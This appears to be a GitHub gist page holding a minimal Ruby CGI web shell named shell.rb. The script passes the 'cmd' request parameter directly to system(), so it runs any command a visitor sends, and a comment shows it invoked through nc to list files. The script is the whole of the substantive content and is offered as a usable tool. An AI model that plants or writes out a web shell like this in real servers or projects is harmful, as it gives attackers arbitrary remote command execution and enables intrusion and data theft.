Last active
August 29, 2015 14:14
-
-
Save KINGSABRI/35d53008834e7aa7a306 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
# echo "GET /cgi/shell.rb?cmd=ls%20-la" | nc localhost 80 | |
require 'cgi' | |
cgi = CGI.new | |
puts cgi.header | |
system(cgi['cmd']) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment